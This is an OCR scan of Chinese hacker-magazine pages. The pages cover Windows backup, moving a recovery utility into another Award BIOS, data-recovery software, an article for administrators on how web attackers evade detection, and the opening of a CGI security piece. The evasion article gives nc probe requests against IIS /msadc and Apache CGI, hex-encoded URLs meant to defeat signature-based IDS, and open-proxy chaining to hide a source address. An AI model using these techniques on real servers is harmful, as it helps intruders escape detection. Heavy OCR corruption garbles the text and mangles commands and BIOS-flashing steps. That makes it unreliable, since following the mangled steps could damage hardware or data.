* 鼠标 指向 “程序 "人 附件"/“ 系 统 工具 ”, 然后

点 击 “ 系 统 还 原 "。

x* 选择 “将 计算 机 还 原 至 较 早 的 时 间 ”, 然 后 单

击 “ 下 一 步 ”。

x* 点 击 上 日 历 上 的 某 一 天 , 点 击 “ 还 原点 描述 ”, 然

后 点 击 “ 下 一 步 "。

x* 确信 关闭 了 所 有 文件 和 程序 , 然 后 点 击 “ 确

定 ? 关 闭 该 对 话 框 。

x 点 击 “" 下 一 步 "。

系统 将 返回 为 原先 的 设置 , 时间 也 返回 到 原 有 的

纬度 ,您 又 可 以 正常 使 用 自己 的 电脑 了 !

以 上 是 常见 的 Windows 系统 的 备份 , 虽然 以 微软

的 技术 实力 完全 可 以 做 到 有 备 无 患 了 , 但 是 真正 的 备

份 应 该 是 多 方面 的 , 对 于 真正 的 数据 灾难 以 上 方法 就

远 远 不 够 了 , 于 是 就 有 了 第 三 方 的 软件 支持 。 例 如

Norton Ghost 2001,Drive Image Pro 等 , 甚至 某 些 主板

制造 厂商 都 提供 了 数据 备份 与 恢复 的 功能 。 例 如 : 捷

波 的 恢复 精灵 就 是 其 中 的 一 种 。

对 于 前 者 我 们 没有 什么 可 以 介绍 的 , 各 类 杂志 报

纸 介绍 得 都 很 详细 。 我 们 也 不 提倡 这 样 做 , 因为 用 这

类 方法 备份 的 缺点 是 耗 用 的 时 间 长 , 备份 所 需要 的 空

闻 资 源 大 , 一 个 30GB 的 硬盘 如 果 要 这 样 备份 的 话 就

只 能 装 15GB 的 数据 , 另外 15GB 用 来 做 备份 空间 , 非

常 不 方便 。

所 以 真正 的 想 做 大 量 的 备份 最 好 还 是 使 用 恢复

精灵 这 种 技术 的 软件 。 恢 复 精 灵 只 需要 占 占 备份 数据

万 分 之 五 的 空间 就 行 了 , 速度 快 , 备份 和 恢复 都 只 需

五 秒 。 备 份 和 恢复 数据 速度 极 快 , 即 使 在 执行 了

“formai ce: /u” 命 令 后 再 进行 读 写 操作 , 甚 至 是 在 用

fdisk 重新 分 区 操作 后 也 能 安全 恢复 所 有 数据 。

- 虽然 恢复 精灵 是 捷 波 公司 出 品 的 , 不 过 只 要 你 用

的 是 AWARD BIOS, 一 般 都 可 以 通过 刷新 BIOS 的 方

法 来 实现 。

因为 是 强力 推荐 , 所 以 我 们 细致 地 说 明 改 掉

BIOS 的 方法 。 首 先 , 你 有 一 块 非 捷 波 的 主板 ( 仅 限于

同样 采用 AWARD BIOS 的 主板 上 ); Award 公司 的

BIOS 修改 工具 CBROM , 就 是 我 们 常常 用 来 修改 主板

logo 的 那个 工具 ; Gigabyte @ BIOS 刷新 工具 , 我 们 用

这 个 可 以 在 任何 版 本 的 Windows 下 刷新 BIOS( 如 图

4)。 你 的 主板 的 BIOS 文件 在 这 里 是 mybios. bin; 捷 波

主板 的 BIOS 在 这 里 是 jiebo. bin。

图 4

开始 时 先 使 用 CBROM 将 捷 波 主板 BIOS 中 有 关

“恢复 精灵 ”的 程序 分 离 出 来 , 如 我 们 下 载 的 兵 波 主板

BIOS 的 文件 名 为 jiebo. bin。

则 执行 :CBROM jiebo.bin ZXd

我 们 会 看 到 很 多 的 文件 。 上 面 的 SA ROM [1]

09800h(38. 00K) 092C8h(36. 70K) STDE.DAT 就 是

我 们 需要 提取 出 来 的 文件 。 提 取 STDE. DAT 文件 。

我 们 执行 :CBROM jiebo. bin /isa extract

按 两 次 回 车 后 你 就 得 到 了 一 个 STDE. DAT 文件 ,

看 看 你 的 文件 夹 里 是 不 是 多 了 一 个 STDE. DAT 文

件 。 你 需要 把 这 个 文件 刷 到 你 自己 的 BIOS 中 去 。

执行 :CBROM mybios. bin /isa stde. dat

下 面 的 工作 需要 保证 你 的 BIOS 空间 里 有 足够 的

地 方 ,40k 为 最 小 ,我们 可 以 用 CBROM mybios. bin 7/

d 命令 察看 , 注 意 Remain compress code space =

25865h(150. 10K) 这 行 , 如 果 你 的 BIOS 的 剩余 容量

不 足 40k 的 话 ,那么 只 好 放弃 刷新 。

刷新 过 程 很 简单 , 我 们 打开 Gigabyte @ BIOS 工

具 , 选择 Update New BIOS 选项 ,选取 我 们 做 好 的 my-

bios. bin( 如 图 5)。

点 击 打开 即 可 。

重新 启 动 你 的 机 器 ,你 会 在 屏幕 下 方 看

”press Ctrl + R to enter Recovery Genius”。

按 “Ctrl +R", 就 能 进入 恢复 精灵 了 。 使 用 很 简

单 。 不 过 如 果 你 是 使 用 windows 2000 系统 需要 到 网 上

download 一 个 补丁 程序 ,才能 更 好 地 支持 恢复 精灵 。

同样 的 方法 ,可 把 奔驰 主板 的 恢复 大 师 移植 到 自

己 的 主板 中 去 。 两 种 程序 使 用 的 方法 不 同 , 恢复 精灵

是 备份 和 恢复 整个 硬盘 , 恢 复 大 师 只 可 以 备份 e: 盘

而 不 能 备份 其 他 盘 。

以 上 我 们 介绍 了 备份 硬盘 资料 的 整个 过 程 。 为 了

保险 起 见 , 还 是 建议 您 不 要 将 所 有 的 备份 的 数据 文件

保存 在 同一 个 硬盘 上 。 如 果 条 件 人 允许, 最 好 把 备份 的

文件 存放 到 两 块 硬盘 上 或 者 CD -R(CD -RW) 光盘 ,

ZIP 等 移动 存储 介质 。

二 恢复 篇

有 有 时 我 们 尽管 使 用 了 防火 墙 , 杀毒 软件 , 系统 也

及 时 地 进行 了 备份 操作 ,但 数据 还 是 丢失 ! 这 样 我 们

不 得 不 采取 亡羊补牢 的 办 法 一 一 恢复 数据 。

不 过 呢 由 于 笔者 的 阅历 尚 浅 , 大 型 磁盘 阵列 柜 等

商业 的 大 型 数据 恢复 就 不 在 此 话题 之 内 了 。

首先 , 如 果 发 生 了 数据 灾难 我 们 不 要 惊慌 , 毕 帝

事实 表明 , 一 般 性 的 数据 是 都 可 以 进行 恢复 的 。 其 次

也 是 最 重要 的 一 件 事 , 就 是 你 不 要 向 你 要 恢复 文件 的

驱动 器 上 再 写 任何 文件 。 检 查 硬 盘 是 否 存在 物理 损

坏 。 如 果 CMOS 或 FDISK 不 能 识别 硬盘 ,说 明 发 生物

理 损坏 , 需 请 厂家 维修 硬盘 。 最 后 运行 相应 的 恢复 软

件 即 可 解决 问题 。

工具 一 : 全 球 领 先 的 灾难 数据 恢复

工具 FinalData

FinalData 以 其 强大 、 人 快速 的 恢复 功能 和 简便 易

用 的 操作 界面 成 为 开 专 业 人 士 的 首选 工具 。 而 且

FinalData 支持 Linux 平台 , 也 支持 最 常用 的 几 个 U-

NIX 平 台 , 比 如 SUN 的 Solaris,IBM 的 AIX,Hp 的

HP -UNIX。. 丽 -

nalData 分 标准

版 .企业 版 、 企 业

网 络 版 几 个 级

别 , 功 能 逐渐 强

大 , 免 费 版 本 是

finaldata for

win98 试用 版

(如 图 1)

当 我 们 安装 了 FinalData 后 , 就 可 以 对 磁盘 进行

扫描 了 ,( 如 图 2)

图 2

高 版 本 的 FinalData 软件 可 以 通过 TCPZIP 网 络

协议 对 网 络 上 的 其 他 计算 机 上 丢失 的 文件 进行 恢复 ,

从 而 为 整个 网 络 上 的 数据 文件 提供 保护 。( 如 图 3)

图 3

下 面 简单 地 说 说 这 个 软件 的 使 用 方法 和 注意 事

项 。

FinalData 可 以 修复 删除 了 的 文件 (包括 在 回收 关

里 清空 的 ) , 可 以 恢复 格式 化 删除 的 数据 , 不 过 Low

Format( 低 级 格式 化 ) 除 外 。 还 可 以 恢复 计算 机 无 法 识

别 的 硬盘 。 甚 至 可 以 恢复 软盘 的 数据 。

对 于 前 两 者 我 们 只 要 扫描 整个 硬盘 的 数据 即 可

将 您 的 宝贵 数据 找 回 来 , 对 于 无 法 识别 的 硬盘 ,可 以

将 需要 恢复 数据 的 硬盘 作为 从 属 盘 , 连接 到 另 一 台 运

行 Windows 的 计算 机 。 运 行 FnalData 在 [文件 ] 菜单

中 单 击 打开 ,选择 [物理 驱动 器 ]。 找 到 初始 分 区 ,恢复

数据 。 如 果 找 不 到 初始 分 区 ,选择 Find Format 可 找到

初始 格式 , 然后 进行 恢复 。 恢 复 软盘 的 过 程 则 不 是 很

轻松 ,只 能 恢复 快速 格式 化 的 数据 ,如 果 对 软盘 进行

常规 格式 化 , 则 无 法 恢复 。 这 是 因为 格式 化 类 型 不 同 ,

取决 于 每 种 格式 化 的 程序 。 一 般 来 说 ,美国 .韩国 使 用

的 DOS 或 Windows 基本 格式 化 程序 不 删除 实际 数

据 ; 而 日 本 Windows 格式 化 程序 或 其 他 格式 化 程序 在

常规 方式 下 ,会 删除 实际 数据 ,因此 无 法 恢复 。 当 运行

FinalData 访问 软盘 时 , 如 果 出 现 信息 “Sector 0 is not

read”, 说 明 软 盘 受 到 物理 损坏 , 应 咨询 厂家 。 恢复

方法 和 前 两 者 一 样 。

工具 二 : 了 asyRecovery 5$.0 for

NTES

我 们 在 win2k 中 认识 了 NTFS 格式 的 文件 , 这 种

文件 具有 更 安全 的 特性 , 不 过 兼容 性 很 差 , 很 多 工具

都 无 法 识别 这 种 格式 的 文件 系统 。 当 数据 发 生 了 问

题 ,EasyRecovery 5.0 for NTES 可 以 为 我 们 完美 地 解

决 一 切 。

启动 电脑 , 安装 运行 EasyRecovery 5. 0 for NTFS ,

安装 后 (如 图 4) 点 击 下 一 步 , 该 软件 扫描 您 的 分 区 状

图 4

况 , 例如 笔者 的 硬盘 是 IBM 腾龙 2 代 的 硬盘 , 即 被 该

软件 发 现 , 而 且 每 一 个 区 的 情况 都 表示 了 出 来 (如 图

7

工 通 jBbTLA-307030 TY4D (2 635B)

ESRANeTEIEPCSIS AS)

nn 斌 St 而 )

Unknown Fi 5ysemType (6.84 GD)

nianpi Stei TDpa 杂 虹 人 )

Uninown Pie SystemTYpe (3.24 GB)

图 5

的 分 区 格式 :FAT 12, FAT 16, FAT NTFS, 和 Un-

Known 等 格式 和 未 知 硬盘 状况 。 笔 者 的 硬盘 是 块 好 的

硬盘 , 每 一 个 区 都 是 NTFS 的 也 显示 出 来 。 如 果 您 的

分 区 表 毁 坏 或 者 格式 化 了 ,都 可 以 辨认 出 来 。 我 们 选

择 一 个 要 恢复 的 区 域 点 击 下 一 步 , 出 现 的 界面 中 显示

了 ce: 区 扇面 的 起 始 位 置 。 我 们 不 必要 配置 就 可 以 直

接点 击 Next 了 。

图 6 中 是 选择 您 要 恢复 文件 类 型 ,选择 一 个 适当

类 型 。 当 我 们 选择 Ram 时 软件 将 按 文件 的 扩展 名 扫描

磁盘 上 的 文件 ,我 们 这 里 选择 Ram 点 击 Next( 如 图 7)

该 软件 在 笔者 的 计算 机 c: 驱 里 找到 了 如 图 的 几

个 文件 , 选择 我 们 要 恢复 的 文件 和 要 存放 的 路 径 点 击

和 isbnvaem gpebep EpoyReiqvgry pcsthepattcp oa

sr

HL .六

it

LI

3

下 一 步 即 可 。

如 果 您 的 nt(2k) 系统 根本 无 法 启动 , EasyRecov-

ery 5. 0 for NTFS 也 为 您 提供 了 一 个 用 软盘 恢复 的 方

案 , 我 们 只 要 制作 一 个 启动 软盘 即 可 完成 软件 的 所 有

功能 。

EasyRecovery 5. 0 for NTFS 为 我 们 提供 了 很 好 的

恢复 NTFS 格式 的 功能 ,这 是 很 多 软件 不 可 比拟 的 。

工具 三 :Revival 和 及 ecoverNT

Rervival 相对 R4A 来 说 是 一 个 适用 范围 更 广 的 工

具 , 不 仅 可 以 恢复 软盘 、 硬 盘 上 被 误 删 的 文件 ,还 支持

恢复 被 快速 格式 化 的 硬盘 上 的 文件 。 支 持 WIN95/

98/-NT4. 0, 散 容 FAT FAT32 及 NTFS。

而 RecoverNT 则 是 专用 在 叉 IN95/98/ZNT 下 恢复

误 删 除 的 文件 和 子 目 录 的 工具 , 也 可 以 恢复 被 Format

和 Edisk 的 磁盘 , Recover NT 支持 TCPZIP 网 络 , 甚至

可 以 恢复 局 域 网 中 的 客户 机 上 的 文件 。

Revival 的 操作 过 程 和 RecoverNT 大 同 小 异 , 现 以

RecoverNT 为 例 。 要 恢复 被 删除 的 文件 ,首先 选择 驱动

器 , 让 RecoverNT 扫描, 点击 Open 出 现 Select Drive

〈 选 定 驱 动 器 ) 对 话 框 , 选择 好 磁盘 后 , 开始 扫描 。 在

RecoverNT 中 人 允许 将 扫描 结果 显示 为 Basic Root Dir

(基本 根 目录 )、Searched Root Dir( 被 搜索 出 的 根 目

录 )、Garhbage Dir( 已 删除 目录 ) 、Total Dir( 全 部 目录 ),

Al Files( 所 有 文件 , 只 适用 于 NTFS) , 你 可 以 根据 自

己 的 需要 选择 显示 方式 。

在 列 出 所 有 的 文件 后 ,你 会 发 现在 RecoverNT 中

出 现 的 图 标 种 类 要 比 R4A 中 要 丰富 的 多 , 掌 握 这 些

图 标的 含义 ,能 有 助 于 充分 利用 RecoverNT。 用 鼠标 指

向 这 些 图 标 时 ,将 会 出 现 :

1. Original Root Directory 原始 根 目录 ;

2. Normal Direetory 普通 目录 ( 即 原始 根 目 录 的 子

目录 );

3. Carbage Root Directory 已 删除 的 根 目 录 ;

4. Carbage Directory 已 删除 的 目录 〈 扫 描 磁 盘 后

被 找到 的 已 删除 目录 , 假 如 原始 目录 名 字 不 能 被 识

别 ,将 用 # 复 串 来 显示 );

5. Renamed Carbage Directory 更 改名 称 的 已 删除

目录 ;

6. Analyzed Carbage Directory 被 分 析 的 已 删除 目

录 (扫描 磁盘 后 被 找到 的 已 删除 目录 , 假如 原始 目录

名 字 被 识别 ,将 用 此 图 标 标记 );

7. File 可 用 文件 ;

8. Error File 错误 文件 ;

9. Warning File 警告 文件 ;

10. Deleted File 已 删除 的 文件 ;

11. Recovable File 可 恢复 的 文件 ;

12. Saved Tile 被 保存 的 文件 。

先 根 据 实 际 情况 使 用 这 些 图 标 按钮 的 功能 , 找到

自己 需要 恢复 的 文件 , 然后 点 击 右键 , 出现 三 个 选项 :

View as Hex( 以 16 进 制 格式 查看 )、View as Text( 以 文

本 格式 查看 , 限制 在 32768 个 字 节 内 ) 、Save( 保 存 )。

通常 可 选择 保存 来 进行 文件 的 恢复 , 在 出 现 的 保存 界

面 中 选择 目标 文件 夹 , 点 击 确定 后 , 系统 即 自动 将 文

件 恢 复 并 保存 到 你 所 指定 的 这 个 目录 里 。

总 结 : 恢复 的 软件 还 有 很 多 , 例 如 : Tiramisu,

Norton Utilities ,国产 软件 diskman 等 .总 体 来 讲 大 同 小

异 。 以 上 只 是 我 在 做 文件 恢复 工作 时 的 一 点 心得 , 写

出 来 和 大 家 分 享 。 数 据 恢复 是 件 很 困难 的 事情 , 在 日

常 的 工作 中 , 还 是 要 加 强 备份 的 意识 , 防 范 于 未 然

嘛 ! 最 后 建议 大 家 ,我 们 用 的 还 都 是 国外 的 软件 ,国内

软件 在 这 方面 做 得 就 不 够 好 。 我 们 这 些 后 起 之 辈 要 加

油 哦 ! ”入

黑客 并 不 只 是 一 门 心思 地 钻研 怎么 人 侵 服务 器 ,

他 们 同样 具有 高 超 的 手段 来 扼 饰 他 们 的 攻击 。 老 练 的

攻击 者 会 使 用 多 种 技巧 来 掩饰 他 们 的 行为 ,这 也 是 我

们 这 篇 文章 里 要 调查 的 。 所 以 我 们 ,也 就 是 系统 管理

员 ,可 以 更 好 地 准备 去 发 现 并 回应 他 们 。

在 这 一 篇 文章 里 ,我 们 将 证 明 一 些 黑 客 所 使 用

的 用 来 避免 被 发 觉 的 技巧 ,并 且 找 到 一 些 他 们 遗留 下

来 的 证 据 。

测试 环境

我 们 的 测试 环境 是 使 用 了 两 种 最 常见 的 网 站 服

务 器 ,Apache 和 微软 的 互连网 信息 服务 器 (HS) 。 我们

在 Red Hat Linux 上 运行 了 Apache 1.3.9, 并 且 在

Windows NT 4. 0 上 运行 着 IS 4. 0。 除 此 之 外 ,两 个 服

务 器 同时 有 正规 版 本 和 SSL - enabled 版 本 ,所 以 我 们

可 以 同时 测试 攻击 加 密 服 务 器 和 未 加 密 服 务 器 。

十 六 进 制 编码

改变 URL 请 求 是 最 简单 的 掩饰 攻击 的 方法 之

一 。 作 为 网 络 管理 员 ,我 们 一 般 搜索 我 们 的 日 志文 件

来 检查 某 些 片 段 ,或 者 收集 原文 字符 。 我 们 在 日 志 兆

源 里 查找 一 些 符合 已 知 的 漏洞 的 请 求 。 例 如 , 当 我 们

在 我 们 的 HS 日 志 里 看 见 以 下 这 些 东 西 时 , 我 们 知道

有 些 人 是 在 寻找 在 IS 里 的 MDAC 远程 漏洞 :

06: 45: 253 10. 0. 2. 79 GET /msadc/y 302

为 了 来 看 看 人 侵 者 如 何尝 试 取 得 匹配 的 漏洞 ,让

我 们 从 和 人 侵 者 的 角度 来 分 析 。 确 定 这 人 台 主 机 上 是 否 有

msadc 目录 存在 , 一 个 人 侵 者 也 许 会 输入 以 下 的 命

令 ;

[froot@ localhost /root]# nc -ma 10.0.2.55 80

雾 译 / 无 用 寻 (Holey Project )

编者 按 : 咱们 《黑客 防线 》 已 经 不 止 一 次 刊登 过 关于 黑客 隐藏 攻

击 痕迹 以 及 网 管 如 何 及 时 发 觉 服务 器 遭受 入 侵 的 方法 , 可 见 这 对 正

邪 两 方 都 极其 重要 。 可 以 这 么 说 ,一 个 好 的 黑客 完全 可 以 胜任 网 管 的

工作 ,一 个 优秀 的 网 管 , 也 许 本 身 就 是 一 名 黑客 。

GET /msade HTTP7Z1.0

这 个 请 求 会 产生 出 我 们 上 面 看 见 的 日 志 信息 。 人

侵 者 可 以 通过 将 编码 为 十 六 进 制 ASCII 字 节 的 方法

来 改变 请 求 。 在 上 面 的 例子 里 ,msade 这 行 信息 可 以

被 十 六 进 制 ASCII 编码 成 6D 73 61 64 63。 你 可 以 使

用 Windows Charmap 程序 来 做 快速 的 ASCI -to -hex

编码 转换 。 上 面 的 HITP 请 求 , 从 新 使 用 十 六 进 制 编

码 的 格式 输入 后 ,显示 为 如 下 的 信息 :

[root@ localhost]# nc -n 10. 0.2.535 80

CET /2% 6D%73% 601% 64% 63 HITPZ1.0

HS 的 日 志文 件 则 显示 为 :

07: 10: 39 10. 0.2.31 GET /msade/ 302

请 你 记 住 这 个 日 志和 我 们 刚才 没有 对 请 求 进行

编码 的 时 候 产 生 的 日 志 是 完全 一 模 一 样 的 。 所 以 在 这

个 事例 里 ,编码 并 没有 帮助 攻击 者 。 不 过 ,让 我 们 来 看

看 在 Apache 的 日 志 中 同样 的 人 侵 告 诉 我 们 了 一 个 不

同 的 故事 。 人 侵 者 用 来 检查 已 存在 的 CGI 脚本 漏洞 的

命令 列 在 了 下 面 , 紧 跟着 的 是 同样 的 命令 , 只 是 经 过

了 十 六 进 制 编码 :

[root@ localhost]# nc -mn 10.0.0.2 80

HEAD /cgi - binV/test -cgi HITPZ1.0

[root@ localhost]# nc -na 10.0.0.2 80

HEAD /和 63% 67% 69 -binVvtest -和 63% 67%

69 HTTPZ1.0

现在 再 让 我 们 瞧 瞧 access jog 文件 :

10. 10. 10. 10 - -=- [8 Oct/2000: 08: 22: 47 -

0700]“HEAD /cgi -binvtest - cgi HITPZI1.0”200 0

10. 10. 10. 10 - - [18ZOct/y2000: 08: 23: 47 -

0700] “HEAD /63% 679% 69 - binytest 一 %63%%

67% 69 HTTP/1.0” 2000

记 住 在 这 两 个 事例 中 , 状态 码 200 告诉 我 们 这 个

命令 成 功 执行 并 且 顺 利 完成 。 无 论 如 何 ,在 第 二 个 事

例 中 , 经 过 十 六 进 制 编码 的 请 求 胜 于 没 经 过 编码 的 原

Le

四 了

NE

扩 xp

DNSYLAAAI

文 。 如 果 我 们 依赖 于 以 前 的 传统 模版 匹配 模式 来 发 觉

这 次 攻击 的 话 ,我 们 肯定 会 失败 。 很 多 人 侵 检测 系统

同样 是 使 用 非 智能 的 模版 匹配 模式 来 检测 攻击 , 而 且

一 些 没有 进行 十 六 编码 URLs 来 完成 模版 匹配 。 所 有

网 络 管理 员 都 应 该 意识 到 这 个 知名 的 掩饰 技巧 , 并且

他 们 应 该 选择 那些 足够 聪明 来 覆盖 这 些 十 六 进 制 编

码 请 求 的 入侵 检测 软件 。

代理 服务 需

隐藏 攻击 对 于 攻击 者 来 说 可 能 是 至 关 紧 要 的 , 但

模糊 攻击 的 来 源 则 更 为 重要 一 些 。 如 果 攻 击 者 可 以 掩

饰 他 们 的 正 源 地 址 , 他 们 便 可 以 放心 人 侵 任 何 主机 ,

而 不 用 担心 法 律 问 题 。 其 中 一 个 人 侵 者 用 来 掩饰 自己

源 地 址 的 方法 就 是 使 用 代理 服务 器 (俗称 “肉鸡 ”) 。

代理 服务 器 的 作用 是 合理 地 将 各 种 不 同 协议 过

滤 进 一 个 单独 的 访问 点 上 。 具 有 代表 性 的 例子 就 是 ,

一 个 互连网 用 户 被 迫 通过 一 个 代理 服务 器 来 访问 互

连 网 , 这 可 以 让 网 络 管理 员 对 用 户 的 内 部 和 外 部 的 访

问 限 权 有 更 大 的 管理 性 。 一 个 用 户 连接 到 代理 服务 器

上 ,, 然后 继续 连接 到 所 请 求 的 目的 地 上 。 这 个 目的 地

服务 器 则 把 请 求 方 的 地 址 记录 为 代理 服务 器 的 主机

地 址 ,而 不 是 记录 真正 发 起 请 求 的 主机 地 址 。

不 替 的 是 ,一 些 代理 服务 器 有 时 会 不 注意 地 放置

在 互连网 上 。( 你 可 以 到 Proxys -4 去 看 看 ,里面 全 部 是

这 些 不 注意 配置 的 代理 服务 器 。) 这 些 服 务 器 有 时 存在

很 多 漏洞 ,所 以 任何 互连网 用 户 都 可 以 连接 到 代理 服

务 器 上 。 当 互连网 用 户 通过 代理 服务 器 连接 到 一 台 服

务 器 上 时 ,被 记录 在 日 志 上 的 地 址 则 是 代理 服务 器 的 ,

而 不 是 这 个 互连网 用 户 的 地 址 。 一 个 恶意 攻击 者 可 能

出 现在 受害 考 的 服务 器 的 日 志 上 ,而 他 的 卫 则 是 一 台

“清白 的 ”代理 服务 器 的 地 址 。 让 我 们 来 看 一 看 。

下 面 是 在 人 侵 者 和 日 志 上 所 出 现 的 东西 , 我 们 看

见 人 侵 者 请 求 的 信息 , 我 们 还 可 以 看 见 请 求 被 记录 在

日 志 上 的 样子 ;

攻击 者

[root@ 10. 1.1.1 0]#nc -=-v10.8.8.8 80

HEAD /HITPZ1.0

日 志文 件

10.1.1.1- =- [18ZOct/2000: 03: 31: 58 -

0700]“HEAD / HITPZI1.0”200 0

下 面 还 是 在 入 侵 者 和 日 志 上 所 出 现 的 东西 ,攻击

者 使 用 的 是 同样 的 请 求 , 不 过 这 回 他 是 通过 代理 服务

器 来 提交 这 些 请 求 的 。

攻击 者

[root@ 10. 1.1.17]#nce -vv216.234. 161. 83 80

HEAD http: /7/10.8.8.8/ HTITTPZ1.0

日 志文 件

216. 234. 161.83 - - [18/ZOctZ2000: 03: 39: 29

-0700]“HEAD / HITPZ1. 1”200 0

从 这 个 例子 中 我 们 可 以 看 出 , 在 网 站 服务 器 所 建

立 的 日 志文 件 中 , 显 示 的 是 代理 服务 器 的 下 地 址

(216. 234. 161. 83,Pproxy. proxyspace. com ) , 而 不 是 攻

击 者 的 瑟 地 址 (10. 1. 1. 1) 。 在 这 个 例子 里 ,攻击 者 成

功 地 隐藏 了 从 自己 到 受害 主机 的 卫 地 址 。 如 果 代理

服务 器 的 网 络 管理 员 合作 的 话 , 这 个 受害 主机 的 管理

员 可 以 顺 着 轨迹 来 找到 真正 的 攻击 地 址 。 因 为 大 部 分

代理 服务 器 都 有 保存 着 非常 详细 的 日 志 , 所 以 这 个 攻

击 者 的 原始 卫 地 址 应 该 会 出 现在 这 个 代理 服务 器 的

日 志文 件 里 。 不 过 不 幸 的 是 , 这 里 就 是 这 个 脐 脏 的 话

计 最 狭 狂 的 地 方 :攻击 者 可 以 “连接 "多 个 代理 服务 器

之 后 再 进行 攻击 。 为 了 判断 攻击 者 的 原始 地 址 , 管理

员 或 法 律 工 作者 必须 取得 所 有 代理 服务 器 管理 员 的

合作 才 行 。 用 来 连接 代理 服务 器 的 方法 在 黑客 圈 里 非

常 流行 ,而 且 现在 还 出 现 了 一 些 全 自动 的 工具 来 帮助

他 们 完成 这 些 工 作 ,例如 观 indows 下 的 SocksChain。

SSL

SSL - enabled 服务 器 不 是 被 网 络 人 侵 检测 系统

控制 的 。 在 端口 80(HITP) 和 端口 443(HITPS) 之 间 给

攻击 者 一 个 选择 ,并且 攻 击 者 将 会 总 是 选择 443。 这

其 实 只 是 加 密 通 讯 的 一 面 影 响 。 你 可 以 使 用 网 站 服务

器 的 日 志文 件 来 监视 端口 443 的 请 求 。

我 们 展示 了 一 小 部 分 常见 的 网 页 攻击 者 所 使 用

的 技巧 。 不 用 说 , 这 个 技巧 的 名 单 是 局 限于 黑 窜 的 创

造 力 及 想象 力 。 像 十 六 进 制 编码 这 种 技巧 并 不 是 只 用

于 坎 骗 日 志文 件 , 他 们 可 以 同样 欺骗 网 页 服务 器 的

URL 分 析 机 制 ,也 就 是 说 可 能 会 引发 一 些 例 如 网 络 脚

本 原 代码 泄露 之 类 的 漏洞 。 攻击 者 有 些 时 候 使 用 多 重

代理 服务 器 来 扫描 和 攻击 , 这 样 使 管理 员 寻 找 攻击 者

的 源 地 址 变 得 非常 困难 。 而 且 ,SSL 有 时 也 为 “安全 人

侵 ? 铺 了 路 。

防 患 于 未 然 , 一 点 点 异常 都 值得 我 们 留心 , 疏 而

不 漏 , 才 是 安全 的 最 高 境界 。 ”全

小 编 寄语 : 菜鸟 学 堂 里 的 东 东 都 是 DfArTisT 最 喜欢 看 的 了 , 没 办 法 , 咱 水 平 比较 低 嘛 。 与

ASP、PHP 一 类 网 络 编程 语言 相 比 ,CGI 的 安全 性 还 是 比较 高 的 , 但 这 不 代表 使 用 CGI 就 可 以 不

考虑 安全 问题 了 ,本 文 由 浅 入 深 地 分 析 了 CGI 的 一 些 安全 问题 ,喜欢 CGI 编程 的 可 以 看 看 。

经 过 一 段 时 间 的 研究 , 对 目前 比较 流行 的 CCI 语

言 有 了 比较 深入 的 理解 , 随 着 理解 的 加 深 , 也 越 来 越

关注 CGI 的 安全 问题 , 在 这 里 和 大 家 讨论 一 下 。

1. 什么 是 CGIi?

不 要 奇怪 , 有 相当 一 部 分 人 对 CGI 的 概念 还 比较

模糊 , 他 们 眼中 的 CGI 就 是 Per CGI, 其 实 CGI 是

Common Gateway Interface( 公 用 网 关 接 口 ) 的 简称 , 并

不 特 指 一 种 语言 。 事 实 上 , 几乎 任何 支持 标准 输入 输

出 的 语言 都 可 以 称 为 CGI 语言 , 如 Pert,Php,C,

VC + + 等 都 可 以 称 为 CGI 语言 。

2. 什么 是 CGI 安全 ?

这 里 所 说 的 CGI 安全 , 主要 包括 两 个 方面 , 一 是

Web 服务 器 的 安全 , 一 是 CGI 语言 的 安全 (其 实 对 于

解释 型 CGI 语言 , 还 涉及 到 解释 器 的 安全 , 不 过 由 于

它 在 CGI 安全 中 所 占 的 比例 不 大 , 所 以 我 们 就 不 考虑

了 ) 。 对 于 不 同 的 CGI 语言 ,我 们 所 说 的 CGI 安全 可 能

有 些 不 同 , 比 如 说 对 于 ASP 和 JSP, 我 们 所 说 的 CGI

安全 主要 是 指 Web 服务 器 的 安全 。 而 对 于 Php 和

Per , 我 们 所 说 的 CGI 安全 就 主要 是 指 CGI 语言 的 安

全 。

3. CGI 存在 什么 安全 问题 ?

既然 CGI 安全 包括 两 个 方面 , 那 我 们 就 分 别 从 这

两 个 方面 来 介绍 一 下 CGI 的 安全 性 , 下 面 依次 介绍

Web 服务 器 的 安全 和 CGI 语言 的 安全 。

Web 服务 器 的 安全 问题 主要 包括 两 个 方面 ,一 是

Web 服务 器 软件 编制 中 的 BUG, 二 是 服务 恬 配 置 错

误 。 这 可 能 导致 CGI 源 代码 泄露 ,物理 路 径 信 息 泄露 ,

系统 敏感 信息 泄露 或 远程 执行 任意 指令 。

下 面 主要 讨论 一 下 CGI 语言 的 安全 问题 。 由 于

CGI 语言 的 复杂 性 , 所 以 这 方面 的 安全 问题 也 比较

多 ,参考 Securityfocus 关于 漏 润 起 因 的 分 类 ,我 们 可 以

为 CGI 语言 漏洞 分 为 以 下 几 类

类 配置 错误

这 里 所 说 的 配置 错误 主要 指 CGI 程序 和 数据 文

件 的 权限 设置 不 当 , 这 可 能 导致 CGI 源 代码 或 敏感 信

息 泄 露 。 还 有 一 个 经 常 犯 的 错误 就 是 安装 完 CGI 程序

后 没有 删除 安装 脚本 , 这 样 攻击 者 就 可 能 远程 重 置 数

据 。 前 些 日 子 “XX 大 联盟 ?论坛 多 次 被 黑 就 是 这 个 低

级 错误 所 致 。

x* 边界 条 件 错 误

这 个 错误 主要 针对 C 语言 编写 的 CGI, 利用 这 个

错误 , 攻击 者 可 能 发 起 缓冲 区 溢出 攻击 , 从 而 提升 权

限 。

x 访问 验证 错误

这 个 问题 主要 是 因为 用 于 验证 的 条 件 不 足以 确

定 用 户 的 身份 而 造成 的 , 经 常会 导致 未 经 授权 访问 ,

修改 甚至 删除 没有 访问 权限 的 内 容 。 用 于 确定 用 户 身

份 的 方法 一 般 有 两 种 , 一 是 帐号 和 密码 , 一 是 Session

认证 。 而 不 安全 的 认证 方法 包括 userid 认证 ,Cookie

认证 等 等 。

x 来 源 验证 错误

比较 常见 的 利用 这 种 错误 进行 攻击 的 方法 就 是

Dos , 也 就 是 拒绝 服务 攻击 , 如 我 们 知道 的 灌水 机 , 就

是 利用 CGI 程序 没有 对 文章 的 来 源 进 行 验证 , 从 而 不

间断 地 发 文章 ,最 后 导致 服务 器 硬盘 充满 而 挂 起 。

x 输入 验证 错误

这 种 错误 导致 的 安全 问题 最 多 , 主要 是 因为 没有

过 滤 特 殊 字 符 。 比 如 说 , 没有 过 滤 “% 20” 造 成 的 畸形

注册 ;没有 过 滤 “. . 人 "经常 造成 泄露 系统 文件 ,没有 过

